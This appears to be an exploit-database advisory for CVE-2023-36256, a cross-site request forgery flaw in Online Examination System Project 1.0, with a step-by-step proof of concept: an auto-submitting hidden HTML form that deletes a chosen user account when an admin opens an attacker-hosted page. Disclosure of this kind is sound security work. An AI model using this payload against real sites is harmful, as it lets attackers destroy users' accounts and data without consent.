Affected Product
Online Examination System Project
Affected version
1.0
CVE ID
CVE-2023-36256
Vulnerability Type
Cross-site request forgery (CSRF)
Type
WEBAPPS
Description
The Online Examination System Project 1.0 version is vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can craft a malicious link that, when clicked by an admin user, will delete a user account from the database without the admin’s consent. This is possible because the application uses GET requests to perform account deletion and does not implement any CSRF protection mechanism. The email of the user to be deleted is passed as a parameter in the URL, which can be manipulated by the attacker. This could result in a loss of data.
Proof of Concept
To exploit this vulnerability, an attacker needs to do the following:
- Identify the URL of the target application where the Online Examination System Project is installed. For example, http://example.com/
- Identify the email address of a user account that the attacker wants to delete. For example, victim@example.com
- Create an HTML page that contains a hidden form with the target URL and the user email as parameters. For example:
<html>
<body>
<form action="http://example.com/update.php" method="GET">
<input type="hidden" name="demail" value="victim@example.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>Host the HTML page on a server that is accessible by the admin user of the target application. For example, http://attacker.com/poc.html
- Send the URL of the HTML page to the admin user via email, social media, or any other means.
If the admin user visits the URL of the HTML page, the script will submit the form and delete the user account associated with the email address from the database without the admin’s consent or knowledge.
References
EDB-ID
- 51511
Exploit
Vendor Homepage
Software Link